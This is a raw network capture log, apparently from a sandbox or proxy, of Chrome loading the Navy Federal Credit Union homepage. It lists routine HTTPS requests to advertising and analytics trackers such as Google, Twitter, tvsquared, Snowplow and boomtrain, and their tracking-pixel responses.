Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49932	142.250.186.98	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	829	OUT	GET /ddm/fls/z/dc_pre=CICW_fKup4YDFatfQQIdj2MHQA;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1 Host: adservice.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: /* X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:03 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49930	142.250.186.98	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	820	OUT	GET /ddm/fls/z/dc_pre=CPmR_PKup4YDFT1vQQId598InA;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1 Host: adservice.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: /* X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:03 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49937	104.244.42.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	735	OUT	GET /i/adsct?bci=5&eci=2&event_id=7740c27a-cdee-4fdb-b183-ef4d6cfa7223&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:03 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:03 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 6995703a2756edf7 strict-transport-security: max-age=0 x-response-time: 73 x-connection-hash: 66a6237fb42c881a16babbf0c9902d0ef6a1c389195759c6ae0ad93274beebd4 connection: close
2024-05-24 22:46:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49940	99.83.205.94	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	669	OUT	POST /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 Host: p.tvpixel.com Connection: keep-alive Content-Length: 2255 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json; charset=UTF-8 Accept: / Origin: https://9749892.fls.doubleclick.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	2255	OUT	Data Raw: 7b 22 73 63 68 65 6d 61 22 3a 22 69 67 6c 75 3a 63 6f 6d 2e 73 6e 6f 77 70 6c 6f 77 61 6e 61 6c 79 74 69 63 73 2e 73 6e 6f 77 70 6c 6f 77 2f 70 61 79 6c 6f 61 64 5f 64 61 74 61 2f 6a 73 6f 6e 73 63 68 65 6d 61 2f 31 2d 30 2d 34 22 2c 22 64 61 74 61 22 3a 5b 7b 22 65 22 3a 22 70 76 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 39 37 34 39 38 39 32 2e 66 6c 73 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 61 63 74 69 76 69 74 79 69 3b 64 63 5f 70 72 65 3d 43 50 6d 54 2d 76 4b 75 70 34 59 44 46 64 35 30 51 51 49 64 78 57 55 4c 72 41 3b 73 72 63 3d 39 37 34 39 38 39 32 3b 74 79 70 65 3d 67 65 6e 65 72 30 3b 63 61 74 3d 6e 66 63 75 5f 30 3b 6f 72 64 3d 38 35 30 35 39 32 30 34 37 31 37 34 33 3b 6e 70 61 3d 30 3b 61 75 69 64 64 63 3d 31 33 38 30 31 36 Data Ascii: {"schema":"iglu:com.snowplowanalytics.snowplow/payload_data/jsonschema/1-0-4","data":[{"e":"pv","url":"https://9749892.fls.doubleclick.net/activityi;dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=138016
2024-05-24 22:46:03 UTC	422	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:03 GMT Content-Length: 2 Connection: close Server: nginx Set-Cookie: sp=d6bf2da2-d013-4ae6-9c4d-f574b62e8eef; Expires=Sat, 24 May 2025 22:46:03 GMT; Domain=tvpixel.com; Path=/; SameSite=None; Secure Access-Control-Allow-Origin: https://9749892.fls.doubleclick.net Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:03 UTC	2	IN	Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49933	3.141.243.186	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	760	OUT	GET /tv2track.php?action_name=Navy%20Federal%20Credit%20Union%20%7C%20Banking%2C%20Loans%2C%20Mortgages%20%26%20Credit%20Cards%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=104600&h=18&m=45&s=58&url=https%3A%2F%2Fwww.navyfederal.org%2F&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=1&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=578 HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	229	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Fri, 24 May 2024 22:46:03 GMT P3p: CP='OTI DSP COR NID STP UNI OTPa OUR' Request-Id: c48fee3d-fb4f-449d-98c7-94127e7a4503 Server: nginx Content-Length: 42 Connection: Close
2024-05-24 22:46:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 28 00 3b Data Ascii: GIF89a!,(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49939	104.244.42.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	937	OUT	GET /i/adsct?bci=5&eci=2&event_id=7740c27a-cdee-4fdb-b183-ef4d6cfa7223&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	571	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:03 GMT perf: 7402827104 server: tsa_b set-cookie: personalization_id="v1_XXGBp5FEVOt4lj5n4pfxyg=="; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:03 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: df88153b406cca44 strict-transport-security: max-age=631138519 x-response-time: 6 x-connection-hash: 0c15711b9130f8aa4ba9f95a2a7f9150b536ace13886a89790959f11e45cad35 connection: close
2024-05-24 22:46:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49934	3.141.243.186	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	760	OUT	GET /tv2track.php?action_name=Navy%20Federal%20Credit%20Union%20%7C%20Banking%2C%20Loans%2C%20Mortgages%20%26%20Credit%20Cards%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=270625&h=18&m=45&s=58&url=https%3A%2F%2Fwww.navyfederal.org%2F&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=578 HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	229	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Fri, 24 May 2024 22:46:03 GMT P3p: CP='OTI DSP COR NID STP UNI OTPa OUR' Request-Id: c973daab-2a5d-4f36-bd7f-0888f58b6e7d Server: nginx Content-Length: 42 Connection: Close
2024-05-24 22:46:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 28 00 3b Data Ascii: GIF89a!,(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49938	192.132.33.69	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	1609	OUT	GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22aafbf16b-f44b-4ef0-9b6d-fd431d3a508f%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A1%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCPmR_PKup4YDFT1vQQId598InA%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6213689762165%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D893322139%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerp [TRUNCATED] Host: bttrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://9749892.fls.doubleclick.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/plain Expires: -1 Access-Control-Allow-Origin: * Set-Cookie: GLOBALID=2uKlc8-sIBd987Fnpwe6GJ2CBwwBJ1CBdnA4nQ6yIbt2RUJqCPZG13vJmxvUnfUpIGr2v7HK4pQC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:45:35 GMT; path=/; secure; SameSite=None X-ServerName: Track003-iad Date: Fri, 24 May 2024 22:45:34 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49942	104.244.42.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	909	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=305f9585-fb97-4a3b-a503-f8815f3d752b&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:04 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:03 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: bbd736add012c96b strict-transport-security: max-age=0 x-response-time: 11 x-connection-hash: c87cea8fd35d6fc2018a22c113b193b4ae9d3b6831594724ef0f8997dc1a738d connection: close
2024-05-24 22:46:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49944	104.244.42.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	909	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=81e2e4c5-42ad-44dd-8617-cd81c22c011d&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:04 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:03 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 13c49435496666ab strict-transport-security: max-age=0 x-response-time: 92 x-connection-hash: 4a9f8859681a28e8dacf9cd8cdec862016d89aa425873cfb482aff316b70fbbf connection: close
2024-05-24 22:46:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49943	104.244.42.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	872	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=305f9585-fb97-4a3b-a503-f8815f3d752b&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:04 UTC	1051	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:03 GMT perf: 7402827104 server: tsa_b set-cookie: guest_id_marketing=v1%3A171659076399483003; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:04 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None set-cookie: guest_id_ads=v1%3A171659076399483003; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:04 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None set-cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:04 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None set-cookie: guest_id=v1%3A171659076399483003; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:04 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 038e363473adb862 strict-transport-security: max-age=631138519 x-response-time: 75 x-connection-hash: bf045ef66496a63df9ba910f19850cad79536417d0989abd3f2fd2fb84073e8a connection: close
2024-05-24 22:46:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49936	192.132.33.69	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	593	OUT	GET /engagement/getpixels?gid=15654 HTTP/1.1 Host: bttrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://9749892.fls.doubleclick.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	289	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/html Expires: -1 Access-Control-Allow-Origin: * X-ServerName: Track003-iad Date: Fri, 24 May 2024 22:45:34 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49946	54.159.213.190	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	564	OUT	GET /identify/resolve?data=eyJjb29raWUiOnsiYnNpbiI6IiJ9LCJxdWVyeXN0cmluZyI6e30sImV4dGVybmFsX2lkcyI6eyJ6eW5jIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In19&site_id=navy-federal-credit-union HTTP/1.1 Host: people.api.boomtrain.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:04 UTC	318	IN	HTTP/1.1 400 BAD REQUEST Access-Control-Allow-Headers: X-Requested-With,Content-Type,Authorization,x-app-id Access-Control-Allow-Methods: GET,PUT,POST,DELETE Access-Control-Allow-Origin: * Content-Type: application/json Date: Fri, 24 May 2024 22:46:04 GMT Server: nginx Content-Length: 82 Connection: Close
2024-05-24 22:46:04 UTC	82	IN	Data Raw: 7b 22 65 72 72 6f 72 73 22 3a 5b 7b 22 6d 65 73 73 61 67 65 22 3a 22 75 6e 6b 6e 6f 77 6e 20 75 73 65 72 20 63 72 65 61 74 69 6f 6e 20 69 73 20 70 65 6e 64 69 6e 67 22 2c 22 74 69 74 6c 65 22 3a 22 42 61 64 20 52 65 71 75 65 73 74 22 7d 5d 7d 0a Data Ascii: {"errors":[{"message":"unknown user creation is pending","title":"Bad Request"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49945	18.211.251.153	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	619	OUT	POST /event/track HTTP/1.1 Host: events.api.boomtrain.com Connection: keep-alive Content-Length: 467 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.navyfederal.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
